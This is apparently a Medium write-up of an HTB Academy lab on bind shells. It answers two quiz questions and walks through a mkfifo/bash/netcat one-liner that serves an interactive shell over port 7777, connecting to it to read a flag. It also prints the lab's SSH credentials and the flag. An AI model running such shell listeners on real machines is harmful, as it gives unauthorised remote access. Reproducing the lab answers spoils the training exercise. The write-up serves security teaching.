HTB Academy Write-Up: Shells & Payloads

Section 4: Bind Shells

Overview

A bind shell is a technique where the target (victim) machine opens a listening port and waits for the attacker to connect. Unlike a reverse shell (where the target connects back to the attacker), the bind shell requires the attacker to initiate the connection directly to the target’s IP and port.

Key challenges of bind shells:

• The target must already have a listener running, or you must find a way to start one.
• Incoming connections are often blocked by firewalls (both network-edge and OS-level).
• NAT/PAT on public-facing routers can prevent direct inbound connections.

Despite these limitations, bind shells are a fundamental concept and are useful when the target is on the same network with no restrictions.

Prerequisites

• Attack Box: Pwnbox (or any Linux machine with Netcat installed).
• Target: 10.129.201.134 (ACADEMY-SHELLS-WEBSHELLS)
• Credentials: htb-student / HTB_@cademy_stdnt!

📝 Question 1 — Port Calculation

Q: Des is able to issue the command nc -lvnp 443 on a Linux target. What port will she need to connect to from her attack box to successfully establish a shell session?

Answer: 443

Get MD Mahmidul Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Explanation: The -p 443 flag in the Netcat listener command explicitly sets the listening port to 443. In a bind shell, the attacker must connect to the same port that the target is listening on. Therefore, Des would use nc <target_ip> 443 from her attack box.

🚀 Practical Walkthrough — Establishing a Bind Shell

Step 1: SSH into the Target

Connect to the target machine using the provided credentials. This simulates having initial access to the system.

ssh htb-student@10.129.201.134

When prompted, enter the password: HTB_@cademy_stdnt!.

Step 2: Start the Bind Shell Listener on the Target

Once logged in via SSH, execute the following one-liner on the target to create an interactive Bash shell served over a Netcat listener on port 7777.

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.201.134 7777 > /tmp/f

What this does:

• rm -f /tmp/f – Removes any existing named pipe.
• mkfifo /tmp/f – Creates a named pipe (FIFO) at /tmp/f.
• cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.201.134 7777 > /tmp/f – Pipes an interactive Bash shell into a Netcat listener bound to the target’s IP and port 7777, then redirects the output back into the pipe to maintain the session.

Note: If your target IP differs, replace 10.129.201.134 with the correct IP.

Step 3: Connect to the Bind Shell from Your Attack Box

Leave the SSH session running (the listener must stay active). Open a new terminal on your Pwnbox (attack box) and connect to the listener.

nc -nv 10.129.201.134 7777

You should now have an interactive shell prompt on the target (e.g., Target@server:~$).

Step 4: Retrieve the Flag

Inside the bind shell session, navigate to the /customscripts directory and read the flag file.

cd /customscripts
cat flag.txt

The output will be the flag:

B1nD_Shells_r_cool

This confirms successful exploitation and completes the lab.

📋 Question 2 — Flag Submission

Q: SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts.

Answer: B1nD_Shells_r_cool

🧠 Key Takeaways

ConceptDescriptionBind ShellTarget listens; attacker connects inbound.Reverse ShellAttacker listens; target connects outbound (often bypasses firewalls).Netcat (nc)The "Swiss Army knife" for TCP/UDP connections – used both to create listeners and to connect.Named Pipe (mkfifo)Used to create an interactive stream between the shell and Netcat.Firewall LimitationsBind shells are easily blocked by strict inbound rules; reverse shells are often preferred in real engagements.